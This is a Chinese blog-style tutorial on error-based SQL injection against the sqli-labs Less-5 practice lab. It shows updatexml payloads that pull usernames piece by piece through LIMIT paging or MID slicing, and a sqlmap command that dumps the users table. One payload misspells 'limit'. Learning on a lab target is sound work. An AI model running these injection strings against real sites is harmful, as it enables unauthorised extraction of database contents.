解决updatexml函数显示内容不全的问题

博主练习环境是sqli-labs靶场的第五关:查询users表中username的内容。

updatexml函数显示内容不全的情况:结尾处~符号显示查询完毕,此时内容显示不全。

方法1:limit子句分页查询

limit函数包含两个参数,第一个参数表示行,第二个参数表示列

?id=' and updatexml(1,concat(0x7e,(select username from users limi 0,1),0x7e),1)--+

此时查询到第一个字段,接着从0开始修改行数,可查询下一个字段

查询完毕后可查询到13个字段。

方法2:mid函数从文本字段中提取字符

SELECT MID(column_name,start[,length]) FROM table_name

第一个参数是要提取的列名,第二个参数为起始位置,第三个参数为返回的字符个数

?id=' and updatexml(1,concat(0x7e,mid((select group_concat(username) from users),1,31),0x7e),1)--+

ps:最多可查询31个字符

此时查询到31个字符,接着修改起始位置,直到查询结束。

方法3:kali环境下进行sqlmap扫描

sqlmap -u 'http:/搭建sqli-labs的IP地址/sqli/Less-5/?id=1' -D security -T users -C username --dump

最后我们可以再MySQL数据库中进行查询验证:

可以发现三种方法查询显示均没问题~

大家自行尝试吧~😊

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值